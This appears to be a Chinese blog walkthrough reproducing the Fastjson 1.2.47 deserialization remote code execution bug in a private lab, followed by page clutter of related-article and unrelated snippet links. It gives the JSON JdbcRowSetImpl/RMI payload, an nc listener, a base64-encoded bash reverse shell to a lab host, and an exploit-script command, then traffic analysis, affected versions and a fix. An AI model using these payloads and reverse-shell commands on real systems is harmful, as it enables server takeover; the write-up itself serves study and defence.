Fastjson远程代码执行漏洞复现
fastjson漏洞简介
Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
fastjson漏洞原理
先来分析fastjson 1.2.47的POC
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:8080/Exphub",
"autoCommit": true
}
}
对fastjson版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制
该payload会利用fastjson的反序列化漏洞去指定的rmi/ldap服务进行远程方法调用
若要进行远程命令执行则需现构造一个恶意的rmi或者ldap,在其中设定要执行的命令,之后利用fastjson反序列化漏洞去使用我们构造的rmi/ldap,最终在fastjson服务器中执行我们在rmi/ldap中指定的命令,故该远程命令执行无法回显,但是仍然可以进行反弹shell(Linux)
除了rmi/ldap构造恶意类,还需要另其一个http服务提供具体的恶意类+要执行的命令,整体流程如下:

详情查看secquan-Fastjson 1.2.24-1.2.47全漏洞RCE
Fastjson漏洞环境搭建
- 主机A含有Fastjson漏洞环境 IP地址192.168.2.101
- 主机B含有恶意java类 IP地址192.168.2.102
- 主机C含有RMI服务 IP地址192.168.2.102
- 接收反弹shell-kali-linux IP地址192.168.2.103
主机A搭建含有fastjson1.2.47-rce漏洞环境

Fastjson漏洞环境复现
fastjson_tool.jar
fastjson-1.2.47_rce.py
反弹shell
- kali-linux执行nc监听6666端口
nc -lvp 6666

- 主机B开启RMI服务,加载远程恶意java类
bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 //转成bash能执行的格式如下,
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.2.102 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

- 发送利用fastjson反序列化漏洞使靶机执行RMI服务的恶意java类执行远程命令
python3 fastjson-1.2.47_rce.py http://192.168.2.101:8090 rmi://192.168.2.102:9998/Object

- 反弹shell成功

fastjson漏洞攻击流量分析
- 先从HTTP请求入手,可以看到HTTP发送POC服务器返回状态码400,其中有构造的开启RMI服务的IP地址192.168.2.102

- 流量可以看到远程调用成功执行Object.class恶意类

- 执行命令服务器返回的信息

fastjson漏洞影响版本
- fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞
- fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞
- fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞
- fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞
- fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞
- fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞
- fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞
- fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞
fastjson漏洞修复措施
升级到 1.2.51 以上,并推荐关闭Autotype 详细升级方法可参见漏洞修复措施
fastjson漏洞参考链接
cnblogs-关于FASTJSON 1.2.24 反序列化导致任意命令执行漏洞
阿里fastjson漏洞公告
Fastjson 1.2.24-1.2.47全漏洞RCE
声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合!
Fastjson远程代码执行漏洞复现的更多相关文章
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
- SMBv3远程代码执行漏洞复现(CVE-2020-0796)
漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...
- CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现
漏洞背景:来自Wallarm的安全研究员Andrew Danau在9月14-16号举办的Real World CTF中,意外的向服务器发送%0a(换行符)时,服务器返回异常信息.由此发现了这个0day ...
- Spring Framework远程代码执行漏洞复现(CVE-2022-22965)
1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...
随机推荐
- 逻辑运算 - js笔记
&& 与 || undefined null NaN "" 0 => false 在 && 中,当第一个值为false停止运行,返回该值,即遇 ...
- mysql query cache 查询缓存
查看本博文,并进行验证(验证结果与博文一致): https://blog.csdn.net/carmazhao/article/details/7088530 mysql默认是开启查询缓存的. 设置查 ...
- socket 参考文档
socket.io 中文手册,socket.io 中文文档转载于:http://www.cnblogs.com/xiezhengcai/p/3956401.html 服务端 io.on('connec ...
- STM32入门系列-创建寄存器模板
介绍如何使用 KEIL5 软件创建寄存器模板, 方便之后使用寄存器方式来操作STM32开发板上的LED,让大家创建属于自己的寄存器工程模板. 获取工程模板的基础文件 首先我们在电脑任意位置创建一个文件 ...
- Windows炫酷桌面钢铁侠主题 雨滴 Rainmeter
首先附上我现在的这个桌面,喜欢的话可以直接使用,我在公众号中设置了回复,[雨滴桌面下载]可以查看下载链接. 介绍一下我们用的工具. Rainmeter 雨滴程序 喜欢的人有研究应该都知道这个程序 这里 ...
- 4G DTU是什么 4G DTU的功能和特点
4G DTU是什么 DTU中文名称是"数据传输终端",根据数据传输时使用的传输方式网络的不同,DTU设备又可以分为很多种类,例如:4G DTU.NB-IOT DTU.LORA DT ...
- spark求相同key的最大值
需求: 求相同key的最大值 [("a", 3), ("a", 2), ("a", 5), ("b", 5), ...
- node.js+express框架 修改后自启【不需要再执行start】
我们每次修改完后都需要重新启动下才能刷新,就很麻烦'nodemon'解决了这个问题. 这里直接进行全局安装 npm install -g nodemon 安装到本地 npm install nodem ...
- Java_多线程实现
一个类两个接口 Tread类: 使用时继承Thread类 Runnable接口: 使用时实现Runnable接口 Callable接口: 使用时实现Callable接口 由于类只能单继承, 接口可以多 ...
- Youtube订阅——解决在弹窗内使用Youtube订阅按钮高度显示不全的问题
背景:公司网站业务在做海外营销网站,为了配合营销工作,前端总要在各种地方添加各种社媒订阅(摊手.jpg):最近遇到的是在弹窗内展示公司的Youtube账号的订阅按钮. 理想:我想使用的例子是这样的: ...